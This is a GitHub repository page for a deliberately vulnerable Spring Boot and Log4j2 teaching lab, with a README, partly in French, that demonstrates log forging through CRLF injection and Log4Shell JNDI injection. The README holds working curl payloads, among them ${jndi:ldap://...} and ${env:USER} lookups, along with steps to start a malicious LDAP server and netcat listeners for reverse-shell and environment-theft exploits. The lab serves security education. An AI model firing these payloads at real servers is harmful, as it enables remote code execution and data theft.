Skip to content

This application is a demonstration prototype just to show how to perform Log Forging attack using CRLF Injection and JNDI injection

License

Notifications You must be signed in to change notification settings

octo-technology/log-injection-spring-boot-log4j2

 
 

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

7 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

Log Injection with Spring Boot and Log4J2

Description

Exemple d'application java vulnérable à l'attaque Log4Shell.

Le repo contient :

  • Une application Java DemoApplication vulnérable (plus particulièrement la classe HelloController.java)
  • Des fichiers (evil/ldap/) permettant d'attaquer l'application DemoApplication :
    • marshalsec*.jar : permet de simuler un serveur LDAP qui sera utilisé pour injecter le code malveillant dans l'application
    • plusieurs classes de code malveillant (à compiler), permettant chacune une attaque différente :
      • OpenKeyPassExploit.java : attaque permettant de lancer l'application OpenKeyPass (il faut donc qu'elle soit installée sur le poste)
      • ReverseShellExploit.java : attaque permettant de lancer un reverse shell
      • StealEnvUserNameExploit.java : attaque permettant de récupérer les variables d'environnement de l'utilisateur
    • server.py : serveur python multi-threads permettant de lancer un serveur LDAP (Marshalsec) ainsi qu'un serveur web (pour héberger les classes malveillantes : OpenKeyPassExploit, ReverseShellExploit ou StealEnvUserNameExploit)
  • Un serveur python receiver/server.py permettant de recevoir les informations sur le port 8001 (par exemple pour l'attaque StealEnvUserNameExploit), mais peut être remplacé par une commande netcat.

Usage

Testé avec Java 17.

  • Run
./gradlew bootRun
  • Request
curl http://localhost:8080/\?name\=Frodon

Hack

Using CRLF injection

curl http://localhost:8080/\?name\=Marty%0d%0a2023-09-08%2010%3A40%3A01.108%20DEBUG%202175773%20---%20%5Bnio-8080-exec-1%5D%20n.e.d.HelloController%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3A%20You%20have%20been%20pwed%0A

Using date lookup

Date lookup ${date:yyyyMMdd-HHmmss}:

curl http://localhost:8080/\?name\=%24%7Bdate%3AyyyyMMdd-HHmmss%7D

Using env lookup

Env lookup ${env:USER}:

curl http://localhost:8080/\?name\=%24%7Benv%3AUSER%7D

Using JNDI Injection + LDAP (OpenKeyPassExploit)

  • Run the evil ldap server
javac evil/ldap/OpenKeyPassExploit.java
python evil/ldap/server.py OpenKeyPassExploit
  • JNDI LDAP lookup
curl http://localhost:8080/\?name\=%24%7Bjndi%3Aldap%3A%2F%2Flocalhost%3A1389%2FanyString%7D

Using JNDI Injection + LDAP (StealEnvUserNameExploit)

  • Run the evil ldap & receiver server
javac evil/ldap/StealEnvUserNameExploit.java
python evil/ldap/server.py StealEnvUserNameExploit
python evil/receiver/server.py # ou : nc -lv 8001
  • JNDI LDAP lookup
curl http://localhost:8080/\?name\=%24%7Bjndi%3Aldap%3A%2F%2Flocalhost%3A1389%2FanyString%7D

Using JNDI Injection + LDAP (ReverseShellExploit)

  • Run the evil ldap
javac evil/ldap/ReverseShellExploit.java
python evil/ldap/server.py ReverseShellExploit
  • Listening for incoming (evil)
nc -lv 9001
  • JNDI LDAP lookup
curl http://localhost:8080/\?name\=%24%7Bjndi%3Aldap%3A%2F%2Flocalhost%3A1389%2FanyString%7D

Fix

Try to fix this app! Don't disable JNDI Lookup, this could be usefull.

About

This application is a demonstration prototype just to show how to perform Log Forging attack using CRLF Injection and JNDI injection

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages

  • Java 63.3%
  • Python 36.7%